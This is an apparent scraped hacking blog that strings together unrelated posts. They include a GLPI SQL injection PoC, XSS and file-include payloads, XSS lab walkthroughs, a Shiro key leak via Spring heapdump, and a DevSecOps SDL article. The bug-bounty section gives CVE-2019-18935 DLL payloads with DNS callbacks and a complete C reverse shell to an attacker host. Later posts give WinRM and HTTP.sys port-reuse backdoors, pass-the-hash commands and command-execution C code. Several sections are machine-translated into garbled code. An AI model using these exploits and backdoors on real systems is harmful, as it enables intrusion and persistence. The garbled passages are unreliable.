Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863112234

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

# Exploit Title: GLPI 0.85 Blind SQL Injection
# Date: 28-11-2014
# Exploit Author: Kacper Szurek - http://security.szurek.pl/ http://twitter.com/KacperSzurek
# Software Link: https://forge.indepnet.net/attachments/download/1899/glpi-0.85.tar.gz
# CVE: CVE-2014-9258
# Category: webapps
  
1. Description
  
$_GET['condition'] is not escaped correctly.

File: ajax\getDropdownValue.php
if (isset($_GET['condition']) && !empty($_GET['condition'])) {
   $_GET['condition'] = rawurldecode(stripslashes($_GET['condition']));
}
if (isset($_GET['condition']) && ($_GET['condition'] != '')) {
   $where .= " AND ".$_GET['condition']." ";
}
$query = "SELECT `$table`.* $addselect
         FROM `$table`
         $addjoin
         $where
         ORDER BY $add_order `$table`.`completename`
         $LIMIT";

if ($result = $DB->query($query)) {

}

http://security.szurek.pl/glpi-085-blind-sql-injection.html

2. Proof of Concept

http://glpi-url/ajax/getDropdownValue.php?itemtype=group&condition=1 AND id = (SELECT IF(substr(password,1,1) = CHAR(36), SLEEP(5), 0) FROM `glpi_users` WHERE ID = 2)

3. Solution:
  
Update to version 0.85.1
http://www.glpi-project.org/spip.php?page=annonce&id_breve=334&lang=en
https://forge.indepnet.net/attachments/download/1928/glpi-0.85.1.tar.gz
            
source: https://www.securityfocus.com/bid/47085/info

XOOPS is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/[path]/modules/jobs/view_photos.php?lid=-9999&uid="><script>alert(document.cookie);</script> 
            
source: https://www.securityfocus.com/bid/47078/info

Tracks is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Tracks 1.7.2 is vulnerable; other versions may also be affected.

http://example.com/todos/tag/&#039;"--></style></script><script>alert(0x000238)</script>
            
source: https://www.securityfocus.com/bid/47077/info

Spitfire is prone to a cross-site scripting vulnerability. because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

[code]
GET / HTTP/1.1
Cookie: cms_username=admin">[xss]<
[/code] 
            
source: https://www.securityfocus.com/bid/47074/info

osCSS is prone to a cross-site scripting vulnerability and multiple local file-include vulnerabilities because the application fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, and open or run arbitrary files in the context of the webserver process.

osCSS 2.1.0 RC12 is vulnerable; other versions may also be affected. 


Cross-site scripting:

http://www.example.com/oscss2/admin108/editeur/tiny_mce/plugins/tinybrowser/upload.php?feid=%22);alert(0);//


Local file include:

http://www.example.com/oscss2/admin108/index.php?page_admin=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini%00

http://www.example.com/oscss2/admin108/popup_image.php?page_admin=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini%00 
            
source: https://www.securityfocus.com/bid/47065/info

webEdition CMS is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to view and execute arbitrary local files in the context of the webserver process. This may aid in further attacks.

webEdition CMS 6.1.0.2 is vulnerable; other versions may also be affected. 

http://www.example.com/webEdition/index.php?DOCUMENT_ROOT= [lfi]%00
http://www.example.com/path_to_webEdition/index.php?DOCUMENT_ROOT= [lfi]%00 
            
source: https://www.securityfocus.com/bid/47046/info

OrangeHRM is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

OrangeHRM 2.6.2 is vulnerable; other versions may also be affected. 

http://www.example.com/orangehrm-2.6.2/templates/recruitment/jobVacancy.php?recruitcode=%3C/script%3E%3Cscript%3Ealert(0)%3C/script%3E 
            

En este post vamos a estar resolviendo el laboratorio: “Stored XSS into anchor href attribute with double quotes HTML-encoded”.

image 80

En este caso, para resolver el laboratorio tenemos que escribir un comentario que llame a la función alert cuando se haga click en el nombre del autor del comentario.

Lo primero de todo es acceder al laboratorio:

image 81

Una vez accedemos, podemos ver como hay distintos artículos, nos metemos en el primero de ellos (podríamos meternos en cualquiera):

image 82
image 83

Una vez dentro, podemos observar que hay una zona de comentarios:

image 84

Por lo que vamos a escribir un comentario cualquiera:

image 85
image 86
image 87

Cuando enviamos un comentario, este se escribe y almacena en la web. Podemos observar como en el comentario que hemos puesto hay un hipervínculo. Si vemos su código fuente, podemos observar como el atributo href corresponde al campo de “Website” de cuando se escribe un comentario:

image 88

Por lo que sabiendo esto, podemos escribir en el campo de “Website” un payload que nos ejecute un alert cuando se de click en el nombre del autor:

image 89

Enviamos el comentario y:

image 90

¡Completamos el laboratorio! Si volvemos a la zona de comentarios y observamos el código fuente, podemos ver como se ha colocado nuestro payload:

image 91

Y si damos click en “test”:

image 92

¡Se nos ejecuta!

winrmはポートマルチプレックス

を実装します

この攻撃方法には、アカウントとパスワードが必要です。ハッシュを取得した場合は、邪悪なウィンラムを使用してハッシュログインを実現することもできます。

サービスは導入

WinRMのフルネームはWindowsリモート管理であり、Microsoftのサーバーハードウェア管理機能の一部であり、ローカルまたはリモートサーバーを管理できます。 WINRMサービスにより、管理者はWindowsオペレーティングシステムにリモートでログインし、Telnetと同様のインタラクティブコマンドラインシェルを取得できますが、基礎となる通信プロトコルはHTTPを使用します。

バックドアアプリケーション

Windows2012サーバーでは、WinRMがデフォルトで開始され、ポート5985が有効になっており、2008年のシステムでサービスを手動で有効にする必要があります。

Winrm QuickConfig -Qスタートアップ後、ファイアウォールはポート20210104174750もリリースします

httplistenerリスニングの共存を有効にするように設定します

winrm set winrm/config/service @{enableCompatibilityhttplistener='true'} //80

winrm set winrm/config/service @{enableCompatibilityHttpsListener='true'} //443 20210104174922

リスニングポートを80/443に変更します

winrm set winrm/config/ristener?address=*+transport=http @{port='80 '}

winrm set winrm/config/リスナー?address=*+transport=https @{port='443'} 20210104175540

また、ローカル接続では、WinRMサービスをオンにしてから信頼できるホストをセットアップする必要があります。

Winrm QuickConfig -Q

winrm set winrm/config/client @{trustedhosts='*'}

Winrs -R:http://172.16.142.151:5985 -U3:ADMINISTRATOR -P:ADMIN123 'WHAAMI' 20210105131322 20210105125247

winrm pth

Macの下で邪悪なwinRMを使用してPTHを実装します

sudo gem install vail-winrm

邪悪なwinrm -i 172.16.142.151 -u管理者-h 8842

En este post vamos a estar resolviendo el laboratorio: “Reflected XSS into attribute with angle brackets HTML-encoded”.

image 93

En este caso, para resolver el reto tenemos que inyectar un payload que escape del string donde se encuentra y llame a la función alert.

Lo primero de todo es acceder al laboratorio:

image 94

Una vez accedemos, nos encontramos ante una barra de búsqueda, por lo que vamos a usarla buscando una palabra aleatoria:

image 95

Cuando hacemos la búsqueda, podemos observar como la palabra que hemos buscado, se encuentra, entre otros sitios en la siguiente parte del código fuente

image 96

Como podemos observar, es un string. Puedes pensar, ok, cierro la variable, pongo un alert y listo, una cosa así:

  • var searchTerms= ' alert('XSS') '

Pero esto no es válido, ya que JavaScript no permite espacios en una variable, por esa misma razón para que toda la cadena se tome como parte de la variable, y aun así, el alert se ejecute, se concatena usando un guion. En el siguiente enlace podéis ver una explicación más detallada.

Dicho esto, colocamos un payload como:

  • ' '-alert('XSS')-' '
image 97

Y cuando le demos a buscar:

image 98

Se habrá ejecutado el alert. En el código fuente, se verá de la siguiente forma:

image 99

Con esto, completamos el laboratorio:

image 100

1。はじめに

Spring HeapdumpがShiro Keyを漏らし、したがってRCEを漏らし、脆弱な環境を構築しました。 GitHubアドレス:https://Github.com/p4r4d1se/heapdump_shiro_vuln

脆弱性の悪用条件:

Spring Shiro環境にはHeapdumpファイルの漏れと搾取可能なチェーンがあります。

2。脆弱性の原則

多くの大物は、シロ関連の脆弱性の原則とデバッグ分析を共有しています。ここでは詳しく説明しません。私は主にこの脆弱性環境を説明します:

(1)Springには実際にSpring Securityと呼ばれる独自のデフォルトのセキュリティフレームワークがありますが、Shiroの使用にはいくつかの開発が使用され、Spring SecuriyをShiroに置き換えます。この状況は珍しいことではありません。たとえば、RuoyiはSpring Shiroです。

1049983-20221205094141235-716240315.jpg(2)キーがある場合、シロの最新バージョンでさえ依然として脆弱性があり、多くの場合、開発、展開、その他の問題によりシロのキーが漏れます。

(3)Shiroが1.2.4を超えるバージョンでは、開発者の手動介入なしにキーがランダム生成に変更されます。このランダム生成は、Web環境が開始されるたびに再起動する前にキーが変更されないことです。 JVM仮想マシンメモリにあります。

1049983-20221205094142103-2055517121.jpg(4)SpringのHeapdumpファイルは、JVM仮想マシンメモリからエクスポートされます。

要約すると、この組み合わせの脆弱性が作成されました。

3。脆弱性の実証

脆弱な環境を読み込んだ後、シロバージョンが1.8.0であることがわかります。

1049983-20221205094143073-114670788.jpg

ポート8080で /アクチュエータ /heapdumpにアクセスして、heapdumpファイルを取得します。

1049983-20221205094143969-554120927.jpg

シロのキーを取得するためによく使用する方法は2つあります。

(1)jdumpspider:https://github.com/whwlsfb/jdumpspider

このウィジェットは、Heapdumpの変動情報を自動的にクロールすることができますが、これはより便利です。欠点は、クロールリストにない情報を見逃す可能性があることです。

:javaを直接実行します-jar jdumpspider.jar heapdump変数情報を自動的に取得します。ここでは、Shirokeyを入手してください:1049983-20221205094144681-379271828.jpg(2)jvisualvm.exe:Java独自のツール、デフォルトパスはJDKディレクトリ/bin/jvisualvm.exeです。

このツールは、必要な情報を手動で見つけて、フィルターにorg.apache.shiro.web.mgt.cookieremembermemanagerを入力する必要があります。

Pythonスクリプトを使用して、Base64エンコードのShiroキーに変換します。Pythonスクリプトを使用して、Base64エンコードされたShiroキーに変換します。

base64をインポートします

インポート構造

print(base64.b64encode(struct.pack( 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb)-115,33,59,24,112,44,124,56,110、-15,59,1、-41)))

1049983-20221205094147320-612137025.jpg

サーバーを再起動して、shiroキーをもう一度取得します。キーが変更されたことがわかります。脆弱性の原則の3番目のポイントが検証されます。開始するたびに、ランダムキーが生成されます。

1049983-20221205094148077-2083177773.png

新しいキーに切り替えることは、引き続き使用できます。

1049983-20221205094148947-1689724177.jpg

元のリンクから転載:https://xz.aliyun.com/t/11908

いくつかの抜け穴が最近掘られました。繰り返されていますが、参照値があります。ここであなたと共有させてください。

抜け穴を繰り返すことはまだ非常に不快です。あなたがそれについて考えるとき、人生は決して満足のいくものではありません。抜け穴を繰り返すことは、失敗を意味するものではありません。最初に来てから来ることが重要であり、外観の順序が重要です。

1.特定のサイトRCEは、ドメイン名:https://***。*** :8089/をテストするために私を連れて行ってくれた司祭に感謝しているスコープ著者の司祭に感謝しない理由を無視します。

CVE-2017-11357 CVE-2019-18935 CVE-2017-9248脆弱性が存在します

脆弱性エクスプロイトダウンロードアドレス:

https://github.com/noperator/cve-2019-18935

https://github.com/noperator/cve-2019-18935.git

遅延11S:SLOIP 11S:

テストコード:テスト

复制代码#windows.hを含めます

#include stdio.h

bool winapi dllmain(hinstance hinstdll、dword fdwreason、lpvoid lpresived)

{

if(fdwreason==dll_process_attach)

//スリープ(10000); //数百万秒単位の時間間隔。

睡眠(11000);

trueを返します。

}

test.cはAMD642.dllファイル复制代码にコンパイルします

:python CVE -2019-18935.py -v 2017.1.228 -p Payloads \ amd642.dll -u https://**** :8089/telerik.web.ui.webresource.axd?Type=rau

1dvkm1mueqq3407.png

ybnfoe11scq3408.png

最初のステップは正常に確認することです。成功遅延は約11秒、元のリクエストは2秒です

テストコマンド実行:

复制代码#windows.hを含む

#include stdio.h

bool winapi dllmain(hinstance hinstdll、dword fdwreason、lpvoid lpresived)

{

if(fdwreason==dll_process_attach)

system( 'cmd.exe /c nslookup rsmwe.dnslog.cn');

System( 'cmd.exe /c nslookup 2pstpep28u6vl9qrw0lhjwsr9if83x.burpcollaborator.net');

trueを返します。

} test.c AMD642.dllファイルにコンパイル

复制代码

もう一度実行してDNSLOG:を表示します

ibhvziitl4v3411.png

直接リバウンドシェル、一般exp:

复制代码#winsock2.hを含む

#include stdio.h

#include windows.h

#pragmaコメント(lib、 'ws2_32')

#define host '{vps ip}'

#define port {port}

wsadata wsadata;

ソケットウィンソック;

ソケットソック;

struct sockaddr_in hax;

char aip_addr [16];

startupinfo ini_processo;

process_information processo_info;

//https://github.com/infoskirmish/window-tools/blob/master/simple%20reverse%20shell/shell.cからの適応

void reverseshell()

{

wsastartup(makeword(2、2)、wsadata);

winsock=wsasocket(af_inet、sock_stream、ipproto_tcp、null、0、0);

struct HOSTENT *host=gethostbyname(host);

strcpy(aip_addr、inet_ntoa( *((struct in_addr *)host-h_addr)));

hax.sin_family=af_inet;

hax.sin_port=htons(port);

hax.sin_addr.s_addr=inet_addr(aip_addr);

wsaconnect(winsock、(sockaddr*)hax、sizeof(hax)、null、null、null、null、null);

if(wsagetlasterror()==0){

memset(ini_processo、0、sizeof(ini_processo));

ini_processo.cb=sizeof(ini_processo);

ini_processo.dwflags=startf_usestdhandles;

ini_processo.hstdinput=ini_processo.hstdoutput=ini_processo.hstderror=(handle)winsock;

char *myArray [4]={'cm'、 'd.e'、 'x'、 'e'};

charコマンド[8]='';

snprintf(command、sizeof(command)、 '%s%s%s'、myarray [0]、myarray [1]、myarray [2]、myarray [3]);

createProcess(null、command、null、null、true、0、null、null、ini_processo、processo_info);

}

}

dword winapi mainthread(lpvoid lpparam)

{

Reverseshell();

0を返します。

}

bool winapi dllmain(hinstance hinstdll、dword fdwreason、lpvoid lpresived)

{

hthreadを処理します。

if(fdwreason==dll_process_attach)

hthread=createThread(0、0、mainthread、0、0、0);

trueを返します。

} 复制代码

許可は低くありません、それはドメインユーザー:です

0ndvsdy02t53414.png

2。SQL注入:背景紹介:友人が注射を送った。この注入は非常に難しいです。 XXクラウドのWAFがあり、バックエンドフィルターのコンマ、奇数と二重引用符、および通常の機能があります。私のアイデアは非常にシンプルで、16進数です。 regexp機能だけで、他のアイデアがあるべきだと思います。

(Case+When+Current_user+regexp+0x*+then+1+else+2*1e308+end)この方法では、データベースユーザーが作成されます。

ここで、声明の場合のケースについてお話したいと思います。声明が私たちが想像したよりもはるかに柔軟である場合。ここでメモを取り、について話します

最も一般的な:

0adbzrsvstf3415.png

異常なことを言って、私は2つのデモを書きます、そして私はそれを続け続けることができます:

2=2の場合、ケース1=1次に1=1 else 1/0 end

pwol4uu2but3416.png

ac2yy4brimx3417.png

3.urlジャンプ +アイデンティティ認証トークンリーク:昨夜それを掘りました、そして、私が無視する理由は複製です。時々、私は一部のメーカーに非常に言葉を失い、脆弱性はそこにあり、彼らは修正されていません。それは私に幻想を与え、抜け穴を見つけ、ハニーポットを踏むという幻想を持っていました。資産範囲は:VC-*。xxx.comです

実際、私は簡単なファズを作ることができ、多くの資産を見つけたので、私はこの範囲に遭遇してとてもうれしいです。

1つずつ開いて視聴し、VC-Ss.xxx.comにアクセスしてサイトにアクセスし、直接ジャンプしてログインを求めます。

私は神ではなく、説明もありません。私はJSを見て、PATH情報へのアクセスが見つかりませんでした。

ファズから始めて、PHPであることがわかっている場合は簡単です。 FFUFを使用してPHP/API辞書を実行し、インターフェイス開発ドキュメント/API /***.htmlに実行します

インターフェイス開発ドキュメントの当初の意図は良好ですが、ほとんどのインターフェイス開発ドキュメントに関するスクリーンショット情報/インターフェイス情報は、二次脆弱性の搾取のリスクがある可能性があります。残念ながらテスト後、スクリーンショット情報はすべてプレーンテキストですが、ほとんどすべてのインターフェイスが401に直接アクセスできることがわかり、ID認証が必要であることがわかりました。私は少し無力でした。私があきらめたかったとき、私はいつも自分自身に読んだ後に慎重に読むように自分自身に言いました。私はインターフェイスドキュメントを見つめ続け、めくっていて、アイデンティティトークンリークやその他のセキュリティの脆弱性を見つけました。

私は抜け穴を提出し、朝:に重複したメッセージを受け取りました

s1lid2541ut3418.png

オリジナルリンク:https://www.cnblogs.com/piaomiaohongchen/p/17130283.html

1。序文

一般的に、安全性は運用および保守部門に属します。前の会社の運用およびメンテナンスディレクターと、毎日の安全作業をDevOpsに統合できるかどうかについて話しました。まもなく、私はさまざまな理由で去りました。 5月、彼は2018年にサードパーティの支払い会社に入社し、年の前半にさまざまな検査に費やしました。規制状況は深刻であり、主要な指導者は安全性(主に監督)の重要性を持ち、2019年のすべての部門の目標は安全に関連しています。支払い会社はさまざまな規制機関からの検査に直面する必要があるため、一部のセキュリティは比較的うまく行われています。ほぼ1年の会社に精通した後、アプリケーションのセキュリティが比較的弱いことがわかっています。業界のより良いソリューションのこの部分はSDLです。さまざまなメーカーと通信した後、私は会社で少しずつ宣伝することにしました。

1049983-20230223005505851-1935601238.png

上の写真は、SDLの標準バージョンを示しています。操作とメンテナンスはDevOpsシステムを採用しているため、テストでは機能テストにも自動化を使用します。バージョンの反復サイクルは比較的速く、セキュリティスタッフは不十分であり、SDLの脅威モデリングも混乱しています。プロセス全体に安全が追加された場合、それは配達時間に深刻な影響を与えます。この場合、業界のいくつかの慣行が調査され、SDLを簡素化することを決定しました。 SDLの簡素化されたバージョンは次のとおりです。

1049983-20230223005506900-1241560024.png

2。 Lite SDL実装練習

安全トレーニング

コアSDLの1つはセキュリティトレーニングです。そのため、セキュリティトレーニングの観点から、セキュリティコーディング、セキュリティ認識、セキュリティ知識ベース、セキュリティSDKを行いました。

安全コード:

Javaセキュリティコーディング仕様、製品セキュリティ設計および開発セキュリティの仕様がオンラインで、会社の実際のビジネスと組み合わせて、バージョンをリリースしました。1049983-20230223005507712-1799677019.png

さまざまな規制機関にはトレーニングの要件があるため、安全トレーニングを導入し、開発と新しい従業員の採用のために定期的にトレーニングを受けています。1049983-20230223005508666-156154663.png

安全性認識:

同社は企業のWECHAT公式アカウントを持っており、ほとんどの従業員はそれに従い、公式アカウントで宣伝しています。1049983-20230223005511575-1861001679.png

プロモーションが完了したら、小さな贈り物をください

1049983-20230223005512954-1257222268.png

スタッフが不十分であるため、機能テストと安全性テストは本質的に共通しています。テスト部門も比較的協力的であり、テスター向けの安全性テスト関連トレーニングを実施していますが、効果はあまり理想的ではありません。

1049983-20230223005513820-1671772662.png

安全知識ベース:

脆弱性修復プロセス中、多くの開発は原則と修復ソリューションを理解していないため、セキュリティ知識ベースを確立し、関連するソリューションをチェックするためにセキュリティ知識ベースに進みました。見つからない場合は、セキュリティ担当者と通信し、セキュリティ担当者は常に知識ベースを更新して閉ループを形成します。

1049983-20230223005514543-574197297.png

セキュリティSDK

会社には建築部門があるため、開発フレームワークは基本的に建築部門によって提供されています。アーキテクチャ部門と共通の脆弱性を伝えた後、SDKを使用して建築に脆弱性修復方法を実装させます。開発には、JARパッケージをインポートして構成ファイルに構成する必要があります。また、多くの落とし穴があり、ゆっくりと最適化する必要があります。

1049983-20230223005515341-1061280096.png

3。安全要件設計

会社にはプロジェクト承認システムがあり、すべてのプロジェクトの承認はシステムを通じて確立する必要があります。安全性は必須であり、レビュー会議の安全性も参加する必要があります。

1049983-20230223005516070-1183240391.png

現時点では、プロジェクトマネージャーは基本的にセキュリティ担当者に連絡して通信し、VIP製品の安全設計仕様をコピーし、要件文書とプロジェクトマネージャーに基づいてセキュリティニーズを決定します。

1049983-20230223005518167-302814842.png

セキュリティ要件を確認した後、必要に応じて要件ドキュメントに追加され、セキュリティテスト時間を確認します。このプロセスは、新しいプロジェクト専用です。開始されたプロジェクトの要件は、このプロセスに従うことはありません。その後のセキュリティテストでは、プロジェクトのこの部分がどのように行われるかについて説明します。

1049983-20230223005519575-917103671.png

iv。開発、セキュリティテスト

セキュリティテストは、主にコード監査、脆弱性スキャン、および手動セキュリティテストに分割されています。これから派生した安全製品は、3つのカテゴリに分かれています。 DAST:Dynamic Application Security Test(WVS、AppScan)、SAST:Static Application Security Test(Fortify、RIPS)、IAST:Interactive Application Security Test(Seeker、Lijian)。これら3つの製品の詳細な紹介については、https://www.aqniu.com/learn/46910.htmlを参照してください。以下の図は、3つの製品のテスト結果の比較です。

1049983-20230223005520614-1980739689.png

これらのタイプの製品は自動化でき、DevOpsに継承できます。次に、これらのツールを開発テストフェーズに組み込みます。

IASTには多くの実装モードがあり、一般的なモードにはプロキシモード、VPN、トラフィックミラーリング、計装モードが含まれます。この記事では、2つの最も代表的なモード、プロキシモードと計装モードを紹介します。調査対象の製品の一部は以下の図に示されており、特定のテスト結果は発表されません。

1049983-20230223005521457-454737043.png

開発段階

いくつかの種類の製品を調査すると、Iastの計装モードを開発環境に直接配置できます。開発環境とテスト環境のコードの主な違いは、Application.yml構成ファイルです。そのため、このモードは事前に開発段階に配置できます。

開発がコードの書き込みを完了し、GitLabに送信して開発環境に展開してアプリケーションを開始すると、開発は機能が利用可能かどうかを確認する必要があり、現時点では脆弱性があるかどうかを検出できます。

同社は、テスト環境で牧場主を使用し、Iast JARパッケージをプロジェクトのGitLabに入れ、展開中にコードをローカルに引いて、DockerFileファイルを変更してJARパッケージをコンテナに追加します。

シェル/xxx.jar/home/app/xx/libを追加します

会社のプロジェクトは基本的にSpring-Bootを使用しているため、すべてのプロジェクトはstart.shスクリプトを通じてアプリケーションを開始します。 start.shとdockerfileをプロジェクトのgitlabに追加し、start.shスクリプトファイルを同時に変更する必要があります。

-javaagent: $ app_home/lib/xx.jar -jar $ app_home/app/*。jar - spring.profiles.active=dev $ app_home/logs/startup.log 21

テスト項目は次のとおりで、タイプミスは無視されます。

1049983-20230223005522132-529066295.png

開発および提出コードが展開されたら、通常の機能にアクセスすると、プラットフォームに脆弱性があるかどうかを確認できます。

1049983-20230223005522696-404919098.png

1049983-20230223005523433-204390000.png

1049983-20230223005524107-1209971798.png

一部の製品では、サードパーティのコンポーネントパッケージも検出されます。

1049983-20230223005524868-632493352.png

同社は港を使用して倉庫として画像をミラーリングしています。プロジェクトが展開された後、ミラーにパッケージ化され、港にアップロードされます。ハーバーには、ミラースキャン機能が付属しています。

1049983-20230223005525557-202407059.png

テストフェーズ

開発が完了した後、テスト段階に入ります。この段階では、静的コードスキャン、機能テスト、セキュリティテストを実施します。

静的コードスキャン

Static Code Scanningツールを使用して、コンパイル前にコードをスキャンし、セキュリティの問題を含む静的コードレベルでさまざまな問題を見つけます。いくつかのツールリスト:1049983-20230223005526258-2127755831.png

静的コードスキャンSonarqube統合を使用し、FindBugseCurity、合理化されたルールを使用し、継続的な建設プロセス中に静的コードバグと安全なスキャンを実行します。

1049983-20230223005526910-1086384454.png

静的コードをスキャンしている間、サードパーティの依存関係パッケージもスキャンできます。 OWSAPの依存関係チェックは、連続的な建設プロセスに統合できます。 IASTクラスの製品はこの機能をサポートしているため、紹介しません。

機能テスト

機能テストの観点から、同社のテスト部門は自動テストプラットフォームを実装しています。初期段階では、エージェント検出を使用しませんでした。最初は、オープンソースのGourdscan Plus OpenRaspを使用し、デフォルトのOpenRaspを使用して、非インターセプトモードと脆弱性レコード関数を有効にして、サーバーで返されない脆弱性を検出しました。

自動化プラットフォームでプロキシIPを構成するだけです。

OpenRasp脆弱性レコード

1049983-20230223005842123-671978983.png

その後、テストでは、汚れたデータスキャンが多すぎて効果があまり良くないことが報告されているため、この計画をあきらめました。 IASTの計装方法は開発段階で使用され、テスト環境ではエージェントも使用して、開発環境と同じ方法で問題を検出します。機能テストが完了した後。テスターは脆弱性をあまり理解していないため、指定されたプロセスは、テスターがプラットフォームにアクセスしてレポートとセキュリティ担当者を表示して、どの問題を修正する必要があるかを伝え、テストレポートに問題を記述することです。

安全テスト

テストフェーズ中にセキュリティがプロセス全体に追加されました。すべての要件の変更を完了する必要があり、機能テストが必要です。つまり、すべてのプロセスがセキュリティテストに合格しています。このようにして、セキュリティスタッフはそれほど十分ではありません。内部および外部サービスを区別する方法を使用して、介入するためにセキュリティ担当者が必要かどうかを判断することが決定されます。

1049983-20230223005902448-222221029.png

脆弱性管理

脆弱性管理は脆弱性管理システムを策定し、脆弱性は影響の程度に応じて評価されます。重大な脆弱性を起動する前に修正する必要があります。高、中、低リスクの脆弱性には小さな影響があり、スケジュールする必要があります。セキュリティ担当者は、脆弱性修理の状況を定期的に追跡します。

v。監視

支払い会社には一般的にセキュリティ機器があります。この部分は基本的に、デバイスのsyslogをログセンターに使用して視覚化し、対応するルールをカスタマイズしてアラームを達成します。

vi。結論

個人の知識と経験は、SDLシステムにあまりよく知られておらず、経験がないため、現在のレベルにしか到達できません。将来、プロセスを最適化して追加する場所がたくさんあります。良い提案がある場合は、お気軽にお気軽にお問い合わせください

出典:https://xz.aliyun.com/t/5656

HireHackking

端口复用后门总结

WinRM实现端口复用

这种攻击方式前提是需要帐号和密码,如果在获得hash的情况下也可以利用evil-winrm来实现hash登录

服务介绍

WinRM全称是Windows Remote Management,是微软服务器硬件管理功能的一部分,能够对本地或远程的服务器进行管理。WinRM服务能够让管理员远程登录Windows操作系统,获得一个类似Telnet的交互式命令行shell,而底层通讯协议使用的是HTTP。

后门应用

在windows2012服务器中,winrm默认启动,开启了5985端口,在2008系统中需要手动开启服务

winrm quickconfig -q

启动后防火墙也会放行该端口
20210104174750
设置启用httplistener监听并存

winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"} //80
winrm set winrm/config/service @{EnableCompatibilityHttpsListener="true"} //443

20210104174922

修改监听端口为80/443

winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"}
winrm set winrm/config/Listener?Address=*+Transport=HTTPS  @{Port="443"}

20210104175540

本地连接也需要开启WinRM服务,然后设置信任连接的主机,

winrm quickconfig -q
winrm set winrm/config/Client @{TrustedHosts="*"}
winrs -r:http://172.16.142.151:5985 -u:administrator -p:admin123 "whoami"

20210105131322
20210105125247

WinRM PTH

mac下使用evil-winrm实施pth

sudo gem install evil-winrm
evil-winrm -i 172.16.142.151 -u administrator -H 8842xxxxxxx9c89a -P 80

测试了下复用后也是可以pth连接的。
20210105131325
20210105131152

HTTP.sys端口复用

HTTP.sys介绍

这种方法的应用场景是针对IIS,HTTP.sys是Microsoft Windows处理HTTP请求的内核驱动程序,为了优化IIS服务器性能,从IIS6.0引入,IIS服务进程依赖HTTP.sys

1 当IIS或者其他的应用使用HTTP Server API去监听请求路径的时候,这些应用需要在HTTP.SYS上面注册url prefix ,关于注册URL的规则,可以参考MSDN: https://msdn.microsoft.com/en-us/library/windows/desktop/aa364698(v=vs.85).aspx 。这是注册的过程。
2 当一个请求到来并被http.sys获取到,它需要分发这个请求给注册当前url对应的应用,这是路由的过程。

劫持程序实现

这样我们可以自己写一个注册url功能的exe,然后根据请求访问url来实现后门功能。
注册代码参考msdn和stackoverflow上的代码:

https://stackoverflow.com/questions/14931705/microsoft-c-http-server-api-httpapi-lib-httpreceiveclientcertificate-functio
https://docs.microsoft.com/zh-cn/windows/win32/http/http-server-sample-application

DWORD DoReceiveRequests(IN HANDLE hReqQueue)
{
    ULONG              result;
    HTTP_REQUEST_ID    requestId;
    DWORD              bytesRead;
    PHTTP_REQUEST      pRequest;
    PCHAR              pRequestBuffer;
    ULONG              RequestBufferLength;

    //
    // Allocate a 2 KB buffer. This size should work for most 
    // requests. The buffer size can be increased if required. Space
    // is also required for an HTTP_REQUEST structure.
    //
    RequestBufferLength = sizeof(HTTP_REQUEST) + 2048;
    pRequestBuffer = (PCHAR)ALLOC_MEM(RequestBufferLength);

    if (pRequestBuffer == NULL)
    {
        return ERROR_NOT_ENOUGH_MEMORY;
    }

    pRequest = (PHTTP_REQUEST)pRequestBuffer;

    //
    // Wait for a new request. This is indicated by a NULL 
    // request ID.
    //

    HTTP_SET_NULL_ID(&requestId);

    for (;;)
    {
        RtlZeroMemory(pRequest, RequestBufferLength);

        result = HttpReceiveHttpRequest(
            hReqQueue,          // Req Queue
            requestId,          // Req ID
            0,                  // Flags
            pRequest,           // HTTP request buffer
            RequestBufferLength,// req buffer length
            &bytesRead,         // bytes received
            NULL                // LPOVERLAPPED
        );
        if (NO_ERROR == result)
        {

            DWORD answer = 0;
            HTTP_SSL_CLIENT_CERT_INFO sslClientCertInfo;
            ULONG bytesReceived;
            answer = HttpReceiveClientCertificate(hReqQueue, pRequest->ConnectionId, 0,
                &sslClientCertInfo, sizeof(HTTP_SSL_CLIENT_CERT_INFO), &bytesReceived, NULL); //注册后等待接收
            char* command;
            char temp[512];
            string cmd_temp;
            strcpy_s(temp, pRequest->pRawUrl);
            command = temp;
            command = strstr(command, "cmd=");
            if (command == NULL)
                continue;
            cmd_temp.assign(command);
            cmd_temp.replace(cmd_temp.find("cmd="), 4, "");
            //------------------------------------
            uint8* text = (uint8*)cmd_temp.c_str();
            uint32 text_len = (uint32)strlen((char*)text);
            uint8 buffer[1024], buffer2[4096];
            uint32 size = base64_decode(text, text_len, buffer);
            buffer[size] = 0;
            //------------------------------------
            printf("%s", buffer);
            if (answer != NO_ERROR)
            {

                string results;
                if (cmd_temp.size() == 0)
                    continue;
                char* tis((char*)buffer);
                HANDLE hRead, hWrite;
                CreatePipecmd(tis, hRead, hWrite, results);
